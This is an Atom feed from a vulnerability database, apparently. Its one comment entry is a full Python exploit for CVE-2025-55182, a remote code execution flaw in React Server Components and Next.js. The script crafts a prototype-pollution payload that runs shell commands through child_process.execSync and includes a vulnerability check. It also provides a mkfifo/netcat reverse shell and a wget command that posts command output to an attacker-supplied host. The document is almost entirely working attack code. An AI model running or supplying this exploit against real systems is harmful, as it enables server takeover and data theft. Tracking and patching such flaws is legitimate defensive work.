<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/comments/feed</id>
  <title>Most recent comments.</title>
  <updated>2026-04-14T18:38:21.948831+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent comments.</subtitle>
  <entry>
    <id>https://db.gcve.eu/comment/2e5fbe69-3e25-46fd-b861-dd01b344fbaa</id>
    <title>CVE-2025-55182 - React Server Components RCE Exploit</title>
    <updated>2026-04-14T18:38:21.951955+00:00</updated>
    <author>
      <name>sync_user</name>
      <uri>http://db.gcve.eu/user/sync_user</uri>
    </author>
    <content>```python
#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE Exploit
Full Remote Code Execution against Next.js applications

⚠️  FOR AUTHORIZED SECURITY TESTING ONLY ⚠️

Affected versions:
- react-server-dom-webpack: 19.0.0 - 19.2.0
- Next.js: 15.x, 16.x (using App Router with Server Actions)

The vulnerability exploits prototype pollution in the Flight protocol
deserialization to achieve arbitrary code execution.

Credit: 
- Wiz for vuln discovery
- @maple3142 for first working poc
- @dez_ for this vibe poc

"""

import requests
import argparse
import sys
import time


class CVE2025_55182_RCE:
    """Full RCE exploit for CVE-2025-55182"""
    
    def __init__(self, target_url: str, timeout: int = 15):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
    
    def build_payload(self, command: str) -&amp;gt; dict:
        """
        Build the RCE payload that exploits prototype pollution.
        
        The payload creates a fake React chunk object that:
        1. Pollutes Object.prototype.then via "$1:__proto__:then"
        2. Sets _formData.get to Function constructor via "$1:constructor:constructor"
        3. Injects code via _prefix that gets passed to Function()
        """
        # Escape single quotes in command
        escaped_cmd = command.replace("'", "'\"'\"'")
        
        # The malicious fake chunk structure
        payload_0 = (
            '{"then":"$1:__proto__:then",'
            '"status":"resolved_model",'
            '"reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}",'
            '"_response":{'
            '"_prefix":"process.mainModule.require(\'child_process\').execSync(\'' + escaped_cmd + '\');",'
            '"_chunks":"$Q2",'
            '"_formData":{"get":"$1:constructor:constructor"}'
            '}}'
        )
        
        return {
            '0': (None, payload_0),
            '1': (None, '"$@0"'),  # Reference to chunk 0
            '2': (None, '[]'),      # Empty array for chunks
        }
    
    def execute(self, command: str) -&amp;gt; dict:
        """
        Execute arbitrary command on the target server.
        
        Args:
            command: Shell command to execute
            
        Returns:
            dict with success status and any output
        """
        print(f"[*] Target: {self.target_url}")
        print(f"[*] Command: {command}")
        
        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',  # Invalid action ID triggers vulnerable path
            'User-Agent': 'CVE-2025-55182-Exploit/1.0',
        }
        
        files = self.build_payload(command)
        
        result = {
            'success': False,
            'command': command,
            'target': self.target_url,
        }
        
        try:
            print(f"[*] Sending exploit payload...")
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=self.timeout
            )
            result['status_code'] = resp.status_code
            result['response'] = resp.text[:500]
            
            # A 500 response often indicates the exploit worked
            # (the command runs but the response fails to serialize)
            if resp.status_code == 500:
                print(f"[+] Exploit sent successfully (status 500)")
                result['success'] = True
            else:
                print(f"[?] Unexpected status: {resp.status_code}")
                
        except requests.exceptions.Timeout:
            # Timeout is expected - the server hangs processing the payload
            print(f"[+] Request timed out (expected during RCE)")
            result['success'] = True
            result['timeout'] = True
            
        except Exception as e:
            print(f"[-] Error: {e}")
            result['error'] = str(e)
        
        return result
    
    def check_vulnerability(self) -&amp;gt; bool:
        """Quick check if target is vulnerable"""
        print(f"[*] Checking if {self.target_url} is vulnerable...")
        
        headers = {
            'Accept': 'text/x-component',
            'Next-Action': 'x',
        }
        
        # Simple detection payload
        files = {
            '0': (None, '["$1:a:a"]'),
            '1': (None, '{}'),
        }
        
        try:
            resp = self.session.post(
                self.target_url, 
                headers=headers, 
                files=files, 
                timeout=10
            )
            
            if resp.status_code == 500 and 'E{"digest"' in resp.text:
                print(f"[+] Target appears VULNERABLE!")
                return True
            else:
                print(f"[-] Target may not be vulnerable (status {resp.status_code})")
                return False
                
        except Exception as e:
            print(f"[-] Check failed: {e}")
            return False
    
    def reverse_shell(self, attacker_ip: str, attacker_port: int) -&amp;gt; dict:
        """
        Attempt to establish a reverse shell.
        
        Args:
            attacker_ip: IP address to connect back to
            attacker_port: Port to connect back to
        """
        # mkfifo reverse shell - works on Alpine/busybox containers
        revshell = (
            f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc {attacker_ip} {attacker_port} &amp;gt;/tmp/f"
        )
        
        print(f"\n[!] Attempting reverse shell to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")
        
        return self.execute(revshell)
    
    def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -&amp;gt; dict:
        """
        Execute command and send output to attacker via HTTP POST.
        
        Args:
            command: Command to execute
            attacker_ip: IP address to send output to
            attacker_port: Port to send output to
            
        Start a listener with: nc -lvnp PORT
        Output will arrive as HTTP POST body.
        """
        # Using wget to POST command output back
        exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2&amp;gt;/dev/null'
        
        print(f"\n[!] Executing: {command}")
        print(f"[!] Output will POST to {attacker_ip}:{attacker_port}")
        print(f"[!] Start listener: nc -lvnp {attacker_port}")
        
        return self.execute(exfil_cmd)


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-55182 React Server Components RCE Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Check if vulnerable
  python3 exploit_rce.py http://target:3000 --check
  
  # Execute command (blind)
  python3 exploit_rce.py http://target:3000 -c "id"
  
  # Execute command with output exfiltration
  python3 exploit_rce.py http://target:3000 --exfil "id" 10.0.0.1 4444
  
  # Reverse shell (uses mkfifo + nc, works on Alpine)
  python3 exploit_rce.py http://target:3000 --revshell 10.0.0.1 4444
'''
    )
    
    parser.add_argument('target', help='Target URL (e.g., http://localhost:3000)')
    parser.add_argument('-c', '--command', help='Command to execute (blind)')
    parser.add_argument('--check', action='store_true', help='Check if vulnerable')
    parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), 
                       help='Reverse shell to IP:PORT')
    parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'),
                       help='Execute CMD and POST output to IP:PORT')
    parser.add_argument('-t', '--timeout', type=int, default=15, 
                       help='Request timeout (default: 15)')
    
    args = parser.parse_args()
    
    if not any([args.check, args.command, args.revshell, args.exfil]):
        parser.print_help()
        print("\n[!] Specify --check, --command, --revshell, or --exfil")
        return 1
    
    exploit = CVE2025_55182_RCE(args.target, args.timeout)
    
    print("=" * 60)
    print("CVE-2025-55182 - React Server Components RCE")
    print("=" * 60)
    
    if args.check:
        return 0 if exploit.check_vulnerability() else 1
    
    if args.command:
        result = exploit.execute(args.command)
        return 0 if result.get('success') else 1
    
    if args.revshell:
        ip, port = args.revshell
        result = exploit.reverse_shell(ip, int(port))
        return 0 if result.get('success') else 1
    
    if args.exfil:
        cmd, ip, port = args.exfil
        result = exploit.exfiltrate(cmd, ip, int(port))
        return 0 if result.get('success') else 1
    
    return 0


if __name__ == '__main__':
    sys.exit(main())
```</content>
    <link href="https://db.gcve.eu/comment/2e5fbe69-3e25-46fd-b861-dd01b344fbaa"/>
    <published>2025-12-05T08:43:03.897961+00:00</published>
  </entry>
</feed>
